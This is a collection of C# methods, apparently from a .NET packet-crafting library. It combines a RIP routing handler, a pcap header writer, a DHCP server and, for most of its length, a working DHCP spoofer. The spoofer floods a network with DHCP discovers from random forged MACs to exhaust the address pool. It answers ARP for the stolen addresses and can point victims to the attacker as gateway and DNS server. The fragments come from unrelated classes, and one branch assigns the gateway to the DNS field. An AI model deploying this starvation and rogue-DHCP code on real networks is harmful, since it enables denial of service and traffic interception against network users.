/// <summary> /// Checks the incoming traffic for RIP updates. /// </summary> /// <param name="fInputFrame">The frame to handle.</param> protected override void HandleTraffic(Frame fInputFrame) { IRouter rtRouterToManage = this.RouterToManage; TrafficDescriptionFrame tdf = (TrafficDescriptionFrame)GetFrameByType(fInputFrame, FrameTypes.TrafficDescriptionFrame); if (!bShutdownPending) { UDP.UDPFrame udpFrame = GetUDPFrame(fInputFrame); IP.IPFrame ipFrame = GetIPv4Frame(fInputFrame); if (udpFrame != null && ipFrame != null && rtRouterToManage != null && udpFrame.EncapsulatedFrame != null) { if (iVersion == 1) { if (HandleRIPV1(udpFrame, ipFrame)) { DistributeUpdate(tdf.SourceInterface); } } else if (iVersion == 2) { if (HandleRIPV2(udpFrame, ipFrame)) { DistributeUpdate(tdf.SourceInterface); } } } } }
/// <summary> /// Writes the packet header for the given frame to the given binary writer. /// </summary> /// <param name="fFrame">The frame to write the header for</param> /// <param name="bw">The binary writer to write the header to.</param> protected virtual void WritePacketHeader(Frame fFrame, BinaryWriter bw) { iLogByteCount += 16; TrafficDescriptionFrame tdf = (TrafficDescriptionFrame)GetFrameByType(fFrame, FrameTypes.TrafficDescriptionFrame); uint ts_sec; uint ts_usec; DateTime dateToConvert; if (tdf != null) { dateToConvert = tdf.CaptureTime; } else { dateToConvert = DateTime.Now; } TimeSpan diff = dateToConvert - origin; // Seconds since 1970 ts_sec = (uint)Math.Floor(diff.TotalSeconds); // Microsecond offset ts_usec = (uint)(1000000 * (diff.TotalSeconds - ts_sec)); bw.Write(ts_sec); //Seconds bw.Write(ts_usec); //Nanos bw.Write(fFrame.Length); //Saved Len bw.Write(fFrame.Length); //Actual Len }
/// <summary> /// Tries to extract a DHCP frame from this frame and forwards it to the HandleDHCPFrame method /// </summary> /// <param name="fInputFrame">The frame to handle</param> protected override void HandleTraffic(Frame fInputFrame) { Ethernet.EthernetFrame ethFrame = GetEthernetFrame(fInputFrame); if (ethFrame == null || lSpoofedMACs.Contains(ethFrame.Source)) { return; //own frame. } if (bPause) { return; //Pausing. } base.HandleTraffic(fInputFrame); ARP.ARPFrame arpFrame = GetARPFrame(fInputFrame); TrafficDescriptionFrame tdf = (TrafficDescriptionFrame)GetFrameByType(fInputFrame, FrameTypes.TrafficDescriptionFrame); #region Reply to ARP Requests if (arpFrame != null && bAnswerARPRequests) { if (dictIPSpoofedMACs.ContainsKey(arpFrame.DestinationIP)) { ARP.ARPFrame newARPFrame = new eExNetworkLibrary.ARP.ARPFrame(); newARPFrame.SourceIP = arpFrame.DestinationIP; newARPFrame.SourceMAC = dictIPSpoofedMACs[arpFrame.DestinationIP]; newARPFrame.DestinationIP = arpFrame.SourceIP; newARPFrame.DestinationMAC = arpFrame.DestinationMAC; newARPFrame.HardwareAddressType = eExNetworkLibrary.HardwareAddressType.Ethernet; newARPFrame.Operation = eExNetworkLibrary.ARP.ARPOperation.Reply; newARPFrame.ProtocolAddressType = eExNetworkLibrary.EtherType.IPv4; Ethernet.EthernetFrame newEthframe = new eExNetworkLibrary.Ethernet.EthernetFrame(); newEthframe.Destination = arpFrame.SourceMAC; newEthframe.Source = dictIPSpoofedMACs[arpFrame.DestinationIP]; newEthframe.EtherType = eExNetworkLibrary.EtherType.ARP; newEthframe.EncapsulatedFrame = newARPFrame; TrafficDescriptionFrame newTDF = new TrafficDescriptionFrame(null, DateTime.Now); newTDF.EncapsulatedFrame = newEthframe; if (tdf != null && tdf.SourceInterface != null) { tdf.SourceInterface.Send(newTDF); } } } #endregion }
/// <summary> /// Tries to extract a DHCP frame from this frame and forwards it to the HandleDHCPFrame method /// </summary> /// <param name="fInputFrame">The frame to handle</param> protected override void HandleTraffic(Frame fInputFrame) { if (bShuttingDown) { return; //Shutdown pending. } UDP.UDPFrame udpFrame = GetUDPFrame(fInputFrame); TrafficDescriptionFrame tdf = (TrafficDescriptionFrame)GetFrameByType(fInputFrame, FrameTypes.TrafficDescriptionFrame); IP.IPFrame ipFrame = GetIPFrame(fInputFrame); DHCP.DHCPFrame dhcpFrame = (DHCP.DHCPFrame)GetFrameByType(fInputFrame, FrameTypes.DHCP); if (dhcpFrame != null && ipFrame != null && udpFrame != null && tdf != null) { HandleDHCPFrame(dhcpFrame, udpFrame, ipFrame, tdf, fInputFrame); } }
/// <summary> /// Forces this DHCP spoofer to release all stolen addresses (Experimental) /// </summary> public void ReleasePools() { foreach (DHCPPool pPool in DHCPPools) { foreach (DHCPPoolItem dhcpItem in pPool.Pool) { //DHCP Release: //My IP in OfferedAddress //DHCP TLVs: Client ID, Server ID, DHCP Type = Release if (dictPoolItemSpoofedMAC.ContainsKey(dhcpItem) && dhcpItem.DHCPServer != null && dhcpItem.DHCPServerMAC != null) { DHCPFrame newDHCPFrame = new DHCPFrame(); newDHCPFrame.ClientAddress = IPAddress.Any; newDHCPFrame.ClientMac = dictPoolItemSpoofedMAC[dhcpItem]; newDHCPFrame.Hardwarelen = 6; newDHCPFrame.HardwareType = eExNetworkLibrary.HardwareAddressType.Ethernet; newDHCPFrame.Hops = 0; newDHCPFrame.MessageType = DHCPType.BootReply; newDHCPFrame.OfferedAddress = dhcpItem.Address; newDHCPFrame.RelayAddress = IPAddress.Any; newDHCPFrame.RequestedFile = ""; newDHCPFrame.RequestedServerName = ""; newDHCPFrame.Secs = 0; newDHCPFrame.ServerAddress = dhcpItem.DHCPServer; newDHCPFrame.ValidIPFlag = true; newDHCPFrame.TransactionID = rRandom.Next(65535); DHCPTLVItem tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPMessageType; tlvItem.Data = new byte[] { (byte)DHCPMessageType.Release }; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.ClientID; byte[] bIDData = new byte[7]; bIDData[0] = (byte)HardwareAddressType.Ethernet; dictPoolItemSpoofedMAC[dhcpItem].AddressBytes.CopyTo(bIDData, 1); tlvItem.Data = bIDData; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPServerID; tlvItem.Data = dhcpItem.DHCPServer.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); UDP.UDPFrame newUDPFrame = new eExNetworkLibrary.UDP.UDPFrame(); newUDPFrame.DestinationPort = iDHCPOutPort; newUDPFrame.SourcePort = iDHCPInPort; newUDPFrame.EncapsulatedFrame = newDHCPFrame; IP.IPv4Frame newIPv4Frame = new eExNetworkLibrary.IP.IPv4Frame(); newIPv4Frame.Version = 4; newIPv4Frame.DestinationAddress = dhcpItem.DHCPServer; newIPv4Frame.SourceAddress = dhcpItem.Address; newIPv4Frame.Protocol = eExNetworkLibrary.IP.IPProtocol.UDP; newIPv4Frame.EncapsulatedFrame = newUDPFrame; newIPv4Frame.Identification = (uint)IncrementIPIDCounter(); newIPv4Frame.TimeToLive = 128; Ethernet.EthernetFrame ethFrame = new eExNetworkLibrary.Ethernet.EthernetFrame(); ethFrame.Destination = dhcpItem.DHCPServerMAC; ethFrame.Source = dictPoolItemSpoofedMAC[dhcpItem]; ethFrame.EtherType = eExNetworkLibrary.EtherType.IPv4; ethFrame.EncapsulatedFrame = newIPv4Frame; TrafficDescriptionFrame tdFrame = new TrafficDescriptionFrame(null, DateTime.Now); tdFrame.EncapsulatedFrame = ethFrame; foreach (IPInterface ipi in GetInterfacesForAddress(newIPv4Frame.DestinationAddress)) { ipi.Send(tdFrame); } lSpoofedMACs.Remove(dictPoolItemSpoofedMAC[dhcpItem]); dictPoolItemSpoofedMAC.Remove(dhcpItem); RemovePoolItem(dhcpItem, pPool, null); Thread.Sleep(iSleepDuration); } } } dictPoolItemSpoofedMAC.Clear(); dictIPSpoofedMACs.Clear(); }
/// <summary> /// Handles a DHCP frame and sends responses and requests or leases addresses according to its contents /// </summary> /// <param name="dhcFrame">The DHCP frame to handle</param> /// <param name="udpFrame">The UDP frame</param> /// <param name="ipv4Frame">The IPv4 frame</param> /// <param name="tdf">The traffic description frame</param> /// <param name="fInputFrame">The original input frame</param> protected override void HandleDHCPFrame(DHCPFrame dhcFrame, UDP.UDPFrame udpFrame, IP.IPFrame ipv4Frame, TrafficDescriptionFrame tdf, Frame fInputFrame) { base.HandleDHCPFrame(dhcFrame, udpFrame, ipv4Frame, tdf, fInputFrame); EthernetFrame ethFrame = GetEthernetFrame(fInputFrame); bool bIsOffer = false; bool bIsACK = false; foreach (DHCPTLVItem tlvItem in dhcFrame.GetDHCPTLVItems()) { if (tlvItem.DHCPOptionType == DHCPOptions.DHCPMessageType) { if (dhcFrame.MessageType == DHCPType.BootReply && (DHCPMessageType)tlvItem.Data[0] == DHCPMessageType.Offer && lOpenClientTransactions.Contains(dhcFrame.TransactionID)) { bIsOffer = true; break; } if (dhcFrame.MessageType == DHCPType.BootReply && (DHCPMessageType)tlvItem.Data[0] == DHCPMessageType.ACK && lOpenClientTransactions.Contains(dhcFrame.TransactionID)) { bIsACK = true; break; } } } if (bIsOffer) { #region Client Process offer IPAddress ipaServer = ipv4Frame.SourceAddress; IPAddress myAddress = dhcFrame.OfferedAddress; DHCPFrame newDHCPFrame = new DHCPFrame(); newDHCPFrame.ClientAddress = IPAddress.Any; newDHCPFrame.ClientMac = dhcFrame.ClientMac; newDHCPFrame.Hardwarelen = 6; newDHCPFrame.HardwareType = eExNetworkLibrary.HardwareAddressType.Ethernet; newDHCPFrame.Hops = 0; newDHCPFrame.MessageType = DHCPType.BootRequest; newDHCPFrame.OfferedAddress = IPAddress.Any; newDHCPFrame.RelayAddress = IPAddress.Any; newDHCPFrame.RequestedFile = ""; newDHCPFrame.RequestedServerName = ""; newDHCPFrame.Secs = dhcFrame.Secs + 1; newDHCPFrame.ServerAddress = IPAddress.Any; newDHCPFrame.ValidIPFlag = true; newDHCPFrame.TransactionID = dhcFrame.TransactionID; DHCPTLVItem tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPMessageType; tlvItem.Data = new byte[] { (byte)DHCPMessageType.Request }; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.ClientID; byte[] bIDData = new byte[7]; bIDData[0] = (byte)HardwareAddressType.Ethernet; dhcFrame.ClientMac.AddressBytes.CopyTo(bIDData, 1); tlvItem.Data = bIDData; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.AddressRequest; tlvItem.Data = myAddress.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.Hostname; tlvItem.Data = Encoding.ASCII.GetBytes(strHostnameToSpoof + iIPIDCounter); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPServerID; tlvItem.Data = ipaServer.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); UDP.UDPFrame newUDPFrame = new eExNetworkLibrary.UDP.UDPFrame(); newUDPFrame.DestinationPort = iDHCPOutPort; newUDPFrame.SourcePort = iDHCPInPort; newUDPFrame.EncapsulatedFrame = newDHCPFrame; IP.IPv4Frame newIPv4Frame = new eExNetworkLibrary.IP.IPv4Frame(); newIPv4Frame.Version = 4; newIPv4Frame.DestinationAddress = IPAddress.Broadcast; newIPv4Frame.SourceAddress = IPAddress.Any; newIPv4Frame.Protocol = eExNetworkLibrary.IP.IPProtocol.UDP; newIPv4Frame.EncapsulatedFrame = newUDPFrame; newIPv4Frame.Identification = (uint)IncrementIPIDCounter(); newIPv4Frame.TimeToLive = 128; ethFrame = new eExNetworkLibrary.Ethernet.EthernetFrame(); ethFrame.Destination = new MACAddress(new byte[] { 255, 255, 255, 255, 255, 255 }); ethFrame.Source = dhcFrame.ClientMac; ethFrame.EtherType = eExNetworkLibrary.EtherType.IPv4; ethFrame.EncapsulatedFrame = newIPv4Frame; TrafficDescriptionFrame tdFrame = new TrafficDescriptionFrame(null, DateTime.Now); tdFrame.EncapsulatedFrame = ethFrame; if (tdf != null && tdf.SourceInterface != null) { tdf.SourceInterface.Send(tdFrame); } #endregion } else if (bIsACK) { #region Client Process ACK if (tdf != null && tdf.SourceInterface != null) { IPInterface ipiSource = tdf.SourceInterface; DHCPPool dhPool = GetPoolForInterface(ipiSource); DHCPPoolItem dpiItem = new DHCPPoolItem(); dpiItem.Address = dhcFrame.OfferedAddress; if (dhPool.GetItemForAddress(dpiItem.Address) == null) { if (bRedirectGateway) { if (ipaGateway == null) { dpiItem.Gateway = ipiSource.IpAddresses[0]; } else { dpiItem.Gateway = ipaGateway; } } else { IPAddress ipGateway = IPAddress.Any; foreach (DHCPTLVItem tlvItem in dhcFrame.GetDHCPTLVItems()) { if (tlvItem.DHCPOptionType == DHCPOptions.Router) { ipGateway = new IPAddress(tlvItem.Data); break; } } dpiItem.DNSServer = ipGateway; } if (bRedirectDNSServer) { if (ipaDNSServer == null) { dpiItem.DNSServer = ipiSource.IpAddresses[0]; } else { dpiItem.DNSServer = ipaDNSServer; } } else { IPAddress ipDNS = IPAddress.Any; foreach (DHCPTLVItem tlvItem in dhcFrame.GetDHCPTLVItems()) { if (tlvItem.DHCPOptionType == DHCPOptions.DomainNameServer) { ipDNS = new IPAddress(tlvItem.Data); break; } } dpiItem.DNSServer = ipDNS; } IPAddress ipServer = null; foreach (DHCPTLVItem tlvItem in dhcFrame.GetDHCPTLVItems()) { if (tlvItem.DHCPOptionType == DHCPOptions.DHCPServerID) { ipServer = new IPAddress(tlvItem.Data); break; } } dpiItem.DHCPServer = ipServer; dpiItem.Netmask = ipiSource.Subnetmasks[0]; dpiItem.DHCPServerMAC = ethFrame.Source; AddPoolItem(dpiItem, dhPool, ipiSource); dictPoolItemSpoofedMAC.Add(dpiItem, dhcFrame.ClientMac); if (dictIPSpoofedMACs.ContainsKey(dpiItem.Address)) { dictIPSpoofedMACs.Remove(dpiItem.Address); } dictIPSpoofedMACs.Add(dpiItem.Address, dhcFrame.ClientMac); lServers.Add(ipv4Frame.SourceAddress); InvokeAddressStolen(new DHCPServerEventArgs(dhPool, dpiItem, ipiSource)); } } lOpenClientTransactions.Remove(dhcFrame.TransactionID); #endregion } }
void tRequestTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { if (bStealAdresses && !bPause) { //Send out a spoofed DHCPDiscoverPacket. if (lInterfaces.Count > 0) { #region StealAddresses MACAddress macSpoofedAddress = new MACAddress(new byte[] { 00, 0x1D, 0xE5, (byte)rRandom.Next(256), (byte)rRandom.Next(256), (byte)rRandom.Next(256) }); DHCPFrame dhcFrame = new DHCPFrame(); dhcFrame.ClientAddress = IPAddress.Any; dhcFrame.ClientMac = macSpoofedAddress; dhcFrame.Hardwarelen = 6; dhcFrame.HardwareType = eExNetworkLibrary.HardwareAddressType.Ethernet; dhcFrame.Hops = 0; dhcFrame.MessageType = DHCPType.BootRequest; dhcFrame.OfferedAddress = IPAddress.Any; dhcFrame.RelayAddress = IPAddress.Any; dhcFrame.RequestedFile = ""; dhcFrame.RequestedServerName = ""; dhcFrame.Secs = 0; dhcFrame.ServerAddress = IPAddress.Any; dhcFrame.ValidIPFlag = true; dhcFrame.TransactionID = rRandom.Next(); DHCPTLVItem tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPMessageType; tlvItem.Data = new byte[] { (byte)DHCPMessageType.Discover }; dhcFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.ClientID; byte[] bIDData = new byte[7]; bIDData[0] = (byte)HardwareAddressType.Ethernet; macSpoofedAddress.AddressBytes.CopyTo(bIDData, 1); tlvItem.Data = bIDData; dhcFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.AddressRequest; tlvItem.Data = IPAddress.Any.GetAddressBytes(); dhcFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.Hostname; tlvItem.Data = Encoding.ASCII.GetBytes(strHostnameToSpoof + iIPIDCounter); dhcFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.ParameterList; tlvItem.Data = new byte[] { (byte)DHCPOptions.SubnetMask, (byte)DHCPOptions.DomainNameServer, (byte)DHCPOptions.DomainName, (byte)DHCPOptions.Router }; dhcFrame.AddDHCPTLVItem(tlvItem); UDP.UDPFrame udpFrame = new eExNetworkLibrary.UDP.UDPFrame(); udpFrame.DestinationPort = iDHCPOutPort; udpFrame.SourcePort = iDHCPInPort; udpFrame.EncapsulatedFrame = dhcFrame; IP.IPv4Frame ipv4Frame = new eExNetworkLibrary.IP.IPv4Frame(); ipv4Frame.Version = 4; ipv4Frame.DestinationAddress = IPAddress.Broadcast; ipv4Frame.SourceAddress = IPAddress.Any; ipv4Frame.Protocol = eExNetworkLibrary.IP.IPProtocol.UDP; ipv4Frame.EncapsulatedFrame = udpFrame; ipv4Frame.TimeToLive = 128; ipv4Frame.Identification = (uint)IncrementIPIDCounter(); Ethernet.EthernetFrame ethFrame = new eExNetworkLibrary.Ethernet.EthernetFrame(); ethFrame.Destination = new MACAddress(new byte[] { 255, 255, 255, 255, 255, 255 }); ethFrame.Source = macSpoofedAddress; ethFrame.EtherType = eExNetworkLibrary.EtherType.IPv4; ethFrame.EncapsulatedFrame = ipv4Frame; TrafficDescriptionFrame tdFrame = new TrafficDescriptionFrame(null, DateTime.Now); tdFrame.EncapsulatedFrame = ethFrame; foreach (IPInterface ipi in lInterfaces) { ipi.Send(tdFrame); lOpenClientTransactions.Add(dhcFrame.TransactionID); lSpoofedMACs.Add(ethFrame.Source); } #endregion } } }
/// <summary> /// Forces this instance to distribute traffic immidiately, with exluding the specified interface from forwarding operations. /// </summary> /// <param name="ipiExcludeInterface">The interface to exclude from forwarding operations or null, if no interface should be excluded.</param> public void DistributeUpdate(IPInterface ipiExcludeInterface) { IRouter rtRouter = this.RouterToManage; if (rtRouter != null) { RIPFrame rf = new RIPFrame(); rf.Version = (uint)this.iVersion; rf.Command = RipCommand.RIPResponse; RoutingEntry[] arre = rtRouter.RoutingTable.GetRoutes(); foreach (RoutingEntry re in arre) { if (re.Owner == RoutingEntryOwner.RIP || re.Owner == RoutingEntryOwner.Interface) { if (this.iVersion == 1) { rf.AddUpdate(new RIPUpdate(RIPEntryAddressFamily.IPv4, new byte[2], new Subnetmask(), IPAddress.Any, re.Destination, (uint)((re.Metric + 1) > 16 ? 16 : (re.Metric + 1)))); } else if (this.iVersion == 2) { rf.AddUpdate(new RIPUpdate(RIPEntryAddressFamily.IPv4, new byte[2], re.Subnetmask, IPAddress.Any, re.Destination, (uint)((re.Metric + 1) > 16 ? 16 : (re.Metric + 1)))); } } else if ((re.Owner == RoutingEntryOwner.UserStatic || re.Owner == RoutingEntryOwner.System) && this.bRedistributeStatic) { if (this.iVersion == 1) { rf.AddUpdate(new RIPUpdate(RIPEntryAddressFamily.IPv4, new byte[2], new Subnetmask(), IPAddress.Any, re.Destination, 1)); } else if (this.iVersion == 2) { rf.AddUpdate(new RIPUpdate(RIPEntryAddressFamily.IPv4, new byte[2], re.Subnetmask, IPAddress.Any, re.Destination, 1)); } } } UDP.UDPFrame uf = new UDP.UDPFrame(); uf.DestinationPort = iRIPPort; uf.SourcePort = iRIPPort; uf.EncapsulatedFrame = rf; foreach (IPInterface ipi in lInterfaces) { if (ipi != ipiExcludeInterface && ipi.IpAddresses.Length > 0 && !ipiPassiveInterfaces.Contains(ipi)) { IP.IPv4Frame ipf = new IP.IPv4Frame(); ipf.SourceAddress = ipi.IpAddresses[0]; if (iVersion == 2) { ipf.DestinationAddress = ipaRIPv2Address; } else if (iVersion == 1) { ipf.DestinationAddress = IPAddress.Broadcast; } ipf.Protocol = eExNetworkLibrary.IP.IPProtocol.UDP; ipf.Version = 4; ipf.EncapsulatedFrame = uf; TrafficDescriptionFrame tdf = new TrafficDescriptionFrame(null, DateTime.Now); tdf.EncapsulatedFrame = ipf; ipi.Send(tdf, IPAddress.Broadcast); } } } }
/// <summary> /// Handles a DHCP frame and sends responses or leases addresses according to its contents /// </summary> /// <param name="dhcFrame">The DHCP frame to handle</param> /// <param name="udpFrame">The UDP frame</param> /// <param name="ipFrame">The IP frame</param> /// <param name="tdf">The traffic description frame</param> /// <param name="fInputFrame">The original root frame</param> protected virtual void HandleDHCPFrame(DHCPFrame dhcFrame, eExNetworkLibrary.UDP.UDPFrame udpFrame, eExNetworkLibrary.IP.IPFrame ipFrame, TrafficDescriptionFrame tdf, Frame fInputFrame) { bool bIsRequest = false; bool bIsDiscover = false; foreach (DHCPTLVItem tlvItem in dhcFrame.GetDHCPTLVItems()) { if (tlvItem.DHCPOptionType == DHCPOptions.DHCPMessageType) { if (dhcFrame.MessageType == DHCPType.BootRequest && (DHCPMessageType)tlvItem.Data[0] == DHCPMessageType.Discover) { bIsDiscover = true; break; } if (dhcFrame.MessageType == DHCPType.BootRequest && (DHCPMessageType)tlvItem.Data[0] == DHCPMessageType.Request && lOpenServerTransactions.Contains(dhcFrame.TransactionID)) { bIsRequest = true; break; } } } if (bIsRequest) { #region Server Process request MACAddress mClientID = dhcFrame.ClientMac; if (tdf != null && tdf.SourceInterface != null) { if (dictInterfacePool.ContainsKey(tdf.SourceInterface)) { IPAddress ipaAddressRequestet = IPAddress.Any; string strHostname = ""; foreach (DHCPTLVItem tlvItemSearch in dhcFrame.GetDHCPTLVItems()) { if (tlvItemSearch.DHCPOptionType == DHCPOptions.AddressRequest) { ipaAddressRequestet = new IPAddress(tlvItemSearch.Data); } if (tlvItemSearch.DHCPOptionType == DHCPOptions.Hostname) { strHostname = ASCIIEncoding.ASCII.GetString(tlvItemSearch.Data); } } DHCPPool dhPool = dictInterfacePool[tdf.SourceInterface]; DHCPPoolItem dhItem = dhPool.GetItemForAddress(ipaAddressRequestet); if (dhItem != null) { IPAddress ipaServer = tdf.SourceInterface.IpAddresses[0]; IPAddress offeredAddress = dhItem.Address; DHCPFrame newDHCPFrame = new DHCPFrame(); newDHCPFrame.ClientAddress = IPAddress.Any; newDHCPFrame.ClientMac = mClientID; newDHCPFrame.Hardwarelen = 6; newDHCPFrame.HardwareType = eExNetworkLibrary.HardwareAddressType.Ethernet; newDHCPFrame.Hops = 0; newDHCPFrame.MessageType = DHCPType.BootReply; newDHCPFrame.OfferedAddress = offeredAddress; newDHCPFrame.RelayAddress = IPAddress.Any; newDHCPFrame.RequestedFile = ""; newDHCPFrame.RequestedServerName = ""; newDHCPFrame.Secs = dhcFrame.Secs + 1; newDHCPFrame.ServerAddress = ipaServer; newDHCPFrame.ValidIPFlag = true; newDHCPFrame.TransactionID = dhcFrame.TransactionID; DHCPTLVItem tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPMessageType; tlvItem.Data = new byte[] { (byte)DHCPMessageType.ACK }; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.ClientID; byte[] bIDData = new byte[7]; bIDData[0] = (byte)HardwareAddressType.Ethernet; mClientID.AddressBytes.CopyTo(bIDData, 1); tlvItem.Data = bIDData; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.SubnetMask; tlvItem.Data = dhItem.Netmask.MaskBytes; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.Router; tlvItem.Data = dhItem.Gateway.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DomainNameServer; tlvItem.Data = dhItem.DNSServer.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.LeaseTime; tlvItem.Data = BitConverter.GetBytes(iLeaseDuration); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPServerID; tlvItem.Data = ipaServer.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); UDP.UDPFrame newUDPFrame = new eExNetworkLibrary.UDP.UDPFrame(); newUDPFrame.DestinationPort = iDHCPInPort; newUDPFrame.SourcePort = iDHCPOutPort; newUDPFrame.EncapsulatedFrame = newDHCPFrame; IP.IPv4Frame newIPv4Frame = new eExNetworkLibrary.IP.IPv4Frame(); newIPv4Frame.Version = 4; newIPv4Frame.DestinationAddress = IPAddress.Broadcast; newIPv4Frame.SourceAddress = ipaServer; newIPv4Frame.Protocol = eExNetworkLibrary.IP.IPProtocol.UDP; newIPv4Frame.EncapsulatedFrame = newUDPFrame; newIPv4Frame.Identification = (uint)IncrementIPIDCounter(); newIPv4Frame.TimeToLive = 128; TrafficDescriptionFrame tdFrame = new TrafficDescriptionFrame(null, DateTime.Now); tdFrame.EncapsulatedFrame = newIPv4Frame; tdf.SourceInterface.Send(tdFrame, IPAddress.Broadcast); dhItem.LeasedTo = mClientID; dhItem.LeasedToHostname = strHostname; dhItem.LeaseDuration = new TimeSpan(0, 0, 0, iLeaseDuration, 0); lOpenServerTransactions.Remove(newDHCPFrame.TransactionID); InvokeAddressLeased(new DHCPServerEventArgs(dhPool, dhItem, tdf.SourceInterface)); } } } #endregion } else if (bIsDiscover) { #region Server Process discover MACAddress mClientID = dhcFrame.ClientMac; if (tdf != null && tdf.SourceInterface != null) { if (dictInterfacePool.ContainsKey(tdf.SourceInterface)) { DHCPPool dhPool = dictInterfacePool[tdf.SourceInterface]; DHCPPoolItem dhItem = dhPool.GetNextFreeAddress(); if (dhItem != null) { IPAddress ipaServer = tdf.SourceInterface.IpAddresses[0]; IPAddress offeredAddress = dhItem.Address; DHCPFrame newDHCPFrame = new DHCPFrame(); newDHCPFrame.ClientAddress = IPAddress.Any; newDHCPFrame.ClientMac = mClientID; newDHCPFrame.Hardwarelen = 6; newDHCPFrame.HardwareType = eExNetworkLibrary.HardwareAddressType.Ethernet; newDHCPFrame.Hops = 0; newDHCPFrame.MessageType = DHCPType.BootReply; newDHCPFrame.OfferedAddress = offeredAddress; newDHCPFrame.RelayAddress = IPAddress.Any; newDHCPFrame.RequestedFile = ""; newDHCPFrame.RequestedServerName = ""; newDHCPFrame.Secs = dhcFrame.Secs + 1; newDHCPFrame.ServerAddress = ipaServer; newDHCPFrame.ValidIPFlag = true; newDHCPFrame.TransactionID = dhcFrame.TransactionID; DHCPTLVItem tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPMessageType; tlvItem.Data = new byte[] { (byte)DHCPMessageType.Offer }; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.ClientID; byte[] bIDData = new byte[7]; bIDData[0] = (byte)HardwareAddressType.Ethernet; mClientID.AddressBytes.CopyTo(bIDData, 1); tlvItem.Data = bIDData; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.SubnetMask; tlvItem.Data = dhItem.Netmask.MaskBytes; newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.Router; tlvItem.Data = dhItem.Gateway.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DomainNameServer; tlvItem.Data = dhItem.DNSServer.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.LeaseTime; tlvItem.Data = BitConverter.GetBytes(86400); newDHCPFrame.AddDHCPTLVItem(tlvItem); tlvItem = new DHCPTLVItem(); tlvItem.DHCPOptionType = DHCPOptions.DHCPServerID; tlvItem.Data = ipaServer.GetAddressBytes(); newDHCPFrame.AddDHCPTLVItem(tlvItem); UDP.UDPFrame newUDPFrame = new eExNetworkLibrary.UDP.UDPFrame(); newUDPFrame.DestinationPort = iDHCPInPort; newUDPFrame.SourcePort = iDHCPOutPort; newUDPFrame.EncapsulatedFrame = newDHCPFrame; IP.IPv4Frame newIPv4Frame = new eExNetworkLibrary.IP.IPv4Frame(); newIPv4Frame.Version = 4; newIPv4Frame.DestinationAddress = IPAddress.Broadcast; newIPv4Frame.SourceAddress = ipaServer; newIPv4Frame.Protocol = eExNetworkLibrary.IP.IPProtocol.UDP; newIPv4Frame.EncapsulatedFrame = newUDPFrame; newIPv4Frame.Identification = (uint)IncrementIPIDCounter(); newIPv4Frame.TimeToLive = 128; TrafficDescriptionFrame tdFrame = new TrafficDescriptionFrame(null, DateTime.Now); tdFrame.EncapsulatedFrame = newIPv4Frame; tdf.SourceInterface.Send(tdFrame, IPAddress.Broadcast); lOpenServerTransactions.Add(newDHCPFrame.TransactionID); } } } #endregion } }